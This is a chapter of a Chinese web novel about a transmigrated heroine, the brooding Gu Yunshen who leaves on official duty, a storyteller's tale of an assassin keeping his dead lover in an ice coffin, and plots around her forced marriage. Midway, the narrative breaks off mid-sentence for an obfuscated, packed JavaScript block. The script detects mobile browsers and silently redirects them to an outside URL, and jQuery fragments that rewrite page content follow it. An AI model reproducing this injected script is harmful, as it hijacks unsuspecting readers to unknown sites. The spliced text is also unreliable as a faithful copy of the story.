29. 情书
作品:《穿书后被病娇反派缠上了》 喻闻雪一滞,捏在领口的手不自觉用力,摩挲着衣角,“没有。”
冷静,不要慌。
她对自己说。
怪力乱神这种事,他不会信,她更没必要宣之于口。
顾云深望着她,没有继续问下去。
但喻闻雪看得出来,他不太开心。
她不明白。
是因为拒绝了他吗?
就在她绞尽脑汁去想怎么圆谎应付他时,就见顾云深退后几步,丢给她一枚玉佩。背对着她沉声道:“有需要,叫观南来找我。”
“二公子,你要离开吗?”喻闻雪叫住他。
顾云深垂下眼睑:“嗯。”
“那你等一会儿。”
喻闻雪踩着湿哒哒的脚印快步走到床边,从被子里面翻出一个小匣子,里面是她的宝贝。
挑挑拣拣半天,最后选了个还算看得过去的小木偶,递给他:“这个送给你。”
怕他误会,又补充了一句:“在行宫的时候跟清婉学的,虽然雕工不是很好,但已经是最漂亮的一个了。”
“不管怎么说,还是要谢谢你。”
木偶只有拇指大小,虽模糊,但依稀可以看清是一只小狗。
她好像很喜欢小动物。
顾云深想。
他将木偶攥在掌心,语气不明:“还有其他的吗?”
“什么?”
这么丑,一个还不够?
喻闻雪挠挠脸,低头继续翻有没有其他顺眼的。
匣子被翻了个底朝天,除了一个看不出来是狐狸还是兔子的木偶,就剩一个看起来很像鹌鹑的小鸟......
“还是你自己挑吧。”
喻闻雪恭敬递了过去,此时的她尚且还算平静,直到发现耳朵被不经意地碰了一下。
有点凉,还很痒。
还未来得及做出反应,顾云深的指尖又很快撤离,身体已然恢复到方才的距离。
他的手里,多了一张白丝帕。
是在她身后的柜子上拿下来的。
两人之间的身高差距不算低,抬眼只能看到他的喉结。
似乎,滑动了一下。
房间内的香气愈发明显。
喻闻雪不敢动了。
与之而来的,是体内的燥热。
她有种再去泡个澡的冲动。
光是泡澡不够,还得加点冰块才行。
“这个,就当做你的谢礼。”
“这,这个不是新的,我用它......”
感受到头顶传来冰冷的视线,喻闻雪选择闭嘴,“送给你了。”
顾云深捏着丝帕,嘴角向下撇了撇,不过须臾又恢复自然。
还是不舒服。
该看大夫了。
这种情绪一直到出发离开,也没有好转。
从京城前往迤东要走两日的陆路和半日的水路。
他向来话少,随行其余人大多不愿主动跟他搭话,大多数时,他一个人在外面发呆,那些人就地扎堆饮酒作乐。
起初还有些闲言碎语,后来见识到他的实力之后,皆是心照不宣地闭上嘴,不敢造次。
途径豫州时,众人提出在此处休息一晚。
新来的缇骑严良跟其他人不甚熟悉,对顾云深的脾气秉性也并不了解,见他总是独来独往,掏出油纸包递给他:“大人,我娘亲手烙的糖饼,要不要尝尝?”
顾云深抬眸看了他一眼,道:“多谢,不必。”
严良并没有被拒绝的懊恼,低头咬了一口手里的糖饼,笑容灿烂:“他们都去听曲儿了,大人不好奇吗?”
“为何要好奇?”顾云深喃喃道:“听曲跟听书不都一样吗?”
“差别可大了......”严良神秘兮兮地靠在他耳边:“想必您还未成亲吧?等您成了亲就懂了。”
他不好意思地笑笑,意味深长道:“有些乐趣,只有妻子能给,旁人是给不了的……”
“妻子。”
陌生的字眼一晃而过,顾云深反复在心里琢磨这个称呼。
梦里,她说他们要成婚。
但现在,她要跟别人一起了。
跟别人成婚了啊......
那张脸,也会对其他人那样笑吗?
严良用袖子擦擦嘴上的油渣,拉过顾云深的手臂:“大人若不想听曲,隔壁有个茶楼,我陪大人去听书吧?头些日子在京城的茶楼,我还见过您呢。”
“你不去听曲?”顾云深问。
“我不去,要是被阿桃知晓,回去有的闹了。”
“我们从小就认识,她看我看得可紧了。”
话虽如此,但看不出半分嫌弃。
顾云深若有所思。
说话间,两人寻了一处僻静的位置坐下。
豫州与京城的风土人情不大相同,说书人往往喜欢讲一些缠绵悱恻的爱恨纠葛,今日讲述的是一位少年杀手和病弱千金的故事。
说书人喝了一口冷茶润润嗓子:“要说这位少年杀手,自小身世悲惨,被当成药人培养,过的是生不如死的日子。”
“一天,他奉命刺杀一个高官,恰逢高官娶续弦,他就在半路劫了人家的花轿。”
“花轿里坐着一个楚楚可怜的美人,但少年并没因此怜香惜玉,本想杀人灭口,掀开帘子后,就见这位姑娘,一把握住他的剑,对准自己心口。”
“这新娘子莫不是脑子有点问题吧?”
“别这么说,也许人家压根不想嫁人呢......”
说书人笑道:“这位姑娘不过十八九岁,而那位高官的年纪做她祖父都绰绰有余。”
“姑娘自幼体弱,爹不疼,娘不亲,被扔到山上的庄子一住就是十八年,早就存了轻生的念头。而这位杀手却在见到她之后,却破天荒地,头一次动了恻隐之心。”
“他们相爱了吗?”
说书人摇头:“少年闯荡江湖,不知何为情爱,任务完成后便离开了。”
“后来,姑娘的远房亲戚听说了她的处境艰难,便把人接来府上常住,没想到,那位少年杀手,恰好就是府上流落在外的公子。”
“有时候,缘分当真是妙不可言。”
台下哗然一片,不少看客们均被吊起了胃口,不断催促说书人继续。
说书人对这场面满意极了,自顾自笑道:“一来二去,两人的关系急转直上,互生情愫。可好景不长,没等两人成婚,姑娘的病终究药石无医,最后香消玉殒。”
此言一出,不少心软的姑娘们纷纷落下眼泪,叹有情人为何不能终成眷属。
“那位少年杀手看起来虽并未受什么影响。可无人知晓,他背地里偷偷将姑娘的尸身藏起来置于冰棺,日夜与她共眠......”
故事这里已经到了一个惊悚的程度,严良头皮发麻,不自觉往顾云深的身边靠拢,搓搓手臂:“你说怎么会有人愿意与尸体待在一处,不害怕吗?”
顾云深突然笑了一声:“死人有何可惧?”他顿了顿,继续道:“那不是,你最爱的人吗?”
严良皱起眉头:“最爱的人,更要让她入土为安,不下葬,将来轮回就再也遇不上了。”
顾云深不知在想些什么,语气平平:“太黑了,她看不见怎么办?”
“......”
严良总算知道为什么这人没朋友了。
脑子里想的,跟常人完全不一样。
不等他回答,顾云深接着说道:“她看不见,就更找不到自己了。”
“留在身边,生与死,区别并不大。”
“......”严良选择放弃交流。
这对吗?
顾云深沉默一会儿,放下一块银子在桌子上,“我先走一步,你与他们一起赶路。”
“大人,你去哪?”
顾云深想到那张笑靥如花的脸,心里已经有了答案。
他没有回答,只留下一个寂寥的身影。
日夜兼程赶路,终于在第二天午后赶到了朔州。
解决问题,当然要从根源上。
*
那日过后,喻闻雪再也没见过顾云深。
南方水患泛滥成灾,他奉命去迤东一带巡视,少说也要一两个月才能回来。
距离自己的婚期也越来越近,她被彻底看守在这一方小院,连门都出不去。
这天夜里,一个意想不到的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390909|181545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人出现了。
顾容廷摘下帷帽,从怀里掏出一沓厚厚的银票塞到喻闻雪手里,小声说道:“明晚亥时,角门,我带你走。”
“表哥,我不能要......”喻闻雪很少这样叫他,顾容廷眉心微动:“侯府尚且姓顾,你无需担心。”
他正色道:“他们敢拦你,却不敢拦我。”
“寻寒不在,我更应该替他照顾好你。”
银票崭新清晰,可见是他从钱庄新取出来的,出行在外带金银不方便,银票就轻便很多。
顾容廷很细心,喻闻雪心里却更加五味杂陈,嘴巴张了半天,却说不出一句话。
“你们一个两个都想瞒我,但我又怎会不知婉妹妹的想法?”
“她就是这样一个人,我喜欢她,也愿意支持她的想法,为她善后。”
顾容廷隔空摸摸她的头:“你去陪她,我也会安心些,这里一切交给我......”
门外,陈玉茹咬着嘴唇,将房间里的话听得一句不落。
一边为老夫人的偏心感到委屈憋闷,另一边又暗自窃喜。
喻闻雪走了,周家没了新娘子,那她就能顺理成章去替嫁......
思及此,她迫不及待地往老夫人的寒柏院走去。
听完陈玉茹的话后,老夫人半眯了眯眼,转动手腕上的檀木佛珠。
一旁的婆子见状,上前拍拍陈玉茹的手:“此事表姑娘做得很好。”
陈玉茹心中一喜,试探道:“他们约定后日亥时逃走,老夫人可要先做准备?”
她特意说错了日子,为的就是让喻闻雪顺利逃走,顺便再利用此事以表忠心,这样老夫人才会在替嫁一事上想到她。
果不其然,老夫人摘下腕上的佛珠戴在她手上,慈爱道:“我自有安排。”
喜悦之情溢于言表,陈玉茹忙不迭请辞:“若将来有用到玉茹的地方,还请老夫人吩咐。”
待她离开后,老夫人扬起的嘴角抿直:“不中用了。”
“赶快,去找个生辰八字跟陈玉茹合的。”
老夫人笑容渐渐扭曲:“她不是想嫁人吗?那就让她在黄泉路上,跟雪丫头做一对好姐妹罢。”
*
喻闻雪尚不知外面发生了什么,既已决定好出逃,大小事务也应该安排一下。
比如怀里的小猫。
她拿着顾云深走之前留下一枚玉佩,怀着试试看的态度,抱着小猫扣响大门。
观南露出一排白牙:“喻姑娘。”
喻闻雪举起小猫爪子:“虽然很不好意思,请问......能麻烦你照顾一下它吗?”
“很可爱的。”
观南瞟了一眼咿咿呀呀的小白猫,这不正是上次主子抓来的那只吗?
一点儿都不听话,还把他刚做的新靴子挠坏了。
很快意识到了什么,他做出一个“请”的动作,恭敬道:“您先进来说。”
喻闻雪环顾了一圈这漏风的屋子,选择坐在看起来不那么晃悠的椅子上:“它很乖,只要喂它一点点食物就够了。”
观南自然地接过小猫,拍拍胸脯:“放心,我一定替你们照顾好。”
为什么说,“你们”?
喻闻雪有些疑惑,但没有多想。
事情进展地太过顺利,准备的满腹草稿也没了涌出。
坐在这难免显得有些局促,她起身看了一圈,问道:“这里有纸笔吗?”
她想给顾云深写一封信。
“有的,您等一下。”
观南没有多问,但内心却是激动不已。
情书,千里送情书!
喻闻雪手持毛笔,忽然发现一件事。
她写简体字,顾云深能看懂吗?
若是繁体字,她也不会啊......
算了,不想那么多,铺开纸张开始下笔。
二公子,见字如面......
不行,信上还叫他二公子,会不会太生分了?
顾云深,暌违日久......
也不行,好没礼貌。
纸张皱巴巴被她揉成一团又一团,最后抿唇,提笔写下了他的字。
寻寒。